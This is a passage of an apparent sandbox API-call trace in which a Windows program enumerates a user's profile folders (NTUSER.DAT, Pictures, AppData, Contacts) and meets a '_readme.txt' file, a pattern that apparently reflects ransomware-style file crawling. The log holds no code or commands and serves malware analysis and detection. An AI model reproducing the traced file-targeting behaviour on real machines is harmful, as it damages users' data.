ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0124.705] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f3f0 [0124.705] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f340 [0124.705] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f1e0 [0124.705] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f340 | out: hHeap=0x5c0000) returned 1 [0124.705] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f3f0 | out: hHeap=0x5c0000) returned 1 [0124.705] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x71d2e5d0, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x71d2e5d0, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0124.705] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x71d08470, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0124.705] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28f60c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0124.705] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0124.705] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0124.705] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0124.705] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cd94e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0124.705] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x527a4cf0, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x527a4cf0, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0124.705] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f3f0 [0124.705] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f340 [0124.705] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x214) returned 0x30950c0 [0124.705] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f188 [0124.705] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0124.705] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f550 [0124.706] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f5a8 [0124.706] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f600 [0124.706] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0124.706] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0124.706] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3083f40 [0124.706] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f658 [0124.706] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3084148 [0124.706] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f6b0 [0124.706] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x30841b0 [0124.706] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f708 [0124.706] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f238 | out: hHeap=0x5c0000) returned 1 [0124.706] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3083fa8 | out: hHeap=0x5c0000) returned 1 [0124.706] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f448 | out: hHeap=0x5c0000) returned 1 [0124.706] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0124.706] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f4a0 | out: hHeap=0x5c0000) returned 1 [0124.706] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084010 | out: hHeap=0x5c0000) returned 1 [0124.706] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084078 | out: hHeap=0x5c0000) returned 1 [0124.706] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840e0 | out: hHeap=0x5c0000) returned 1 [0124.706] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f4f8 | out: hHeap=0x5c0000) returned 1 [0124.706] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0124.706] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f398 | out: hHeap=0x5c0000) returned 1 [0124.706] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0124.706] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f1e0 | out: hHeap=0x5c0000) returned 1 [0124.706] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x308d780 | out: hHeap=0x5c0000) returned 1 [0124.706] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f1e0 [0124.706] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f340 | out: hHeap=0x5c0000) returned 1 [0124.706] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f3f0 | out: hHeap=0x5c0000) returned 1 [0124.706] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0124.706] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f3f0 [0124.706] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x76) returned 0x6ad610 [0124.706] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f3f0 | out: hHeap=0x5c0000) returned 1 [0124.706] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0124.706] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0124.707] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0124.707] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6ad610 | out: hHeap=0x5c0000) returned 1 [0124.707] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0124.707] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f3f0 [0124.707] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f340 [0124.707] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f398 [0124.707] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f340 | out: hHeap=0x5c0000) returned 1 [0124.707] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f3f0 | out: hHeap=0x5c0000) returned 1 [0124.707] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0124.707] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0124.707] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x30840e0 [0124.707] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x3084078 [0124.707] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30840e0 | out: hHeap=0x5c0000) returned 1 [0124.707] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0124.707] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0124.707] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f3f0 [0124.707] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f340 [0124.707] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f4f8 [0124.707] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f340 | out: hHeap=0x5c0000) returned 1 [0124.707] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f3f0 | out: hHeap=0x5c0000) returned 1 [0124.707] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0124.707] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f3f0 [0124.707] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f340 [0124.707] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f4a0 [0124.707] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f340 | out: hHeap=0x5c0000) returned 1 [0124.707] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f3f0 | out: hHeap=0x5c0000) returned 1 [0124.707] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0124.707] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0124.707] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0124.707] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x526c04b0, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x526c04b0, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0124.707] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97c4c3d0, ftCreationTime.dwHighDateTime=0x1d52f22, ftLastAccessTime.dwLowDateTime=0x97c4c3d0, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x97c4c3d0, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0124.707] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97c4c3d0, ftCreationTime.dwHighDateTime=0x1d52f22, ftLastAccessTime.dwLowDateTime=0x97c4c3d0, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x97c4c3d0, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0124.708] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.708] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038078 | out: hHeap=0x5c0000) returned 1 [0124.708] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.708] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042148 | out: hHeap=0x5c0000) returned 1 [0124.708] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.708] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.708] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.708] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.708] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.708] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0124.708] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.708] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.708] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.708] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.708] PathFindFileNameW (pszPath="") returned="" [0124.708] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.708] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f4f8 | out: hHeap=0x5c0000) returned 1 [0124.708] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.708] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64011df0, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x64011df0, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1 [0124.708] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LocalLow", cAlternateFileName="")) returned 1 [0124.708] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x527f0fb0, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x527f0fb0, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1 [0124.709] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x527f0fb0, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x527f0fb0, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0 [0124.709] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.709] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038158 | out: hHeap=0x5c0000) returned 1 [0124.709] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f4a0 | out: hHeap=0x5c0000) returned 1 [0124.709] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.709] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\") returned="Application Data\\" [0124.709] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.709] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.709] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.709] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.709] PathFindFileNameW (pszPath="") returned="" [0124.709] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x527f0fb0, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x527f0fb0, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0xffffffff [0124.709] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303ecc0 | out: hHeap=0x5c0000) returned 1 [0124.709] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038158 | out: hHeap=0x5c0000) returned 1 [0124.709] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0124.709] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.709] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\") returned="Contacts\\" [0124.709] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.709] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.709] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.709] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.710] PathFindFileNameW (pszPath="") returned="" [0124.710] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, 